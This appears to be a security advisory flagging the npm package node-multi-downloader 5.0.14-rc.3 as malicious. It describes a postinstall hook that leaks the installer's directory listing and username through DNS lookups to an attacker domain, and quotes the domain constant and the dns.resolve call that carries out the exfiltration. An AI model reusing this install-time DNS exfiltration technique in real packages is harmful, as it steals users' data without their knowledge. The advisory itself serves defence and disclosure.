node-multi-downloader

Details

**Severity:** Critical

**Affected versions:** `= 5.0.14-rc.3`

## Source: amazon-inspector (8fc720cd970f4d19212ca90945b7fc1e4e1c64da98235ff595b3792ae69e3e68)
On `npm install`, this package's postinstall hook (`node index.js`) hex-encodes the installer's current working directory, the first 15 entries of that directory, and `os.userInfo().username`, and leaks each chunk via DNS A-record lookups to subdomains of the attacker-controlled domain `uqlyosvp1f9.oob.evilsec.xyz`. The hardcoded out-of-band domain is bound at index.js line 1 (`const D = "uqlyosvp1f9.oob.evilsec.xyz"`) and index.js line 8 calls `dns.resolve(`${chunk}.${tag}${i}.${D}`, 'A',...)` to transmit the encoded data. DNS-subdomain encoding is a well-known technique to evade HTTP egress filtering. The package metadata (description "RSI package!", anonymous author, release-candidate version) provides no legitimate purpose that would justify reading installer filesystem and identity at install time.

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Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/6936f1922896bcab7881ee1e43ea9b524b16026d/osv/malicious/npm/node-multi-downloader/MAL-2026-5735.json))

**References:**
- https://github.com/ossf/malicious-packages/blob/6936f1922896bcab7881ee1e43ea9b524b16026d/osv/malicious/npm/node-multi-downloader/MAL-2026-5735.json
- https://www.npmjs.com/package/node-multi-downloader/v/5.0.14-rc.3
- https://github.com/advisories/GHSA-c588-33h5-hcpp

Compromised versions (1)

• = 5.0.14-rc.3

Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.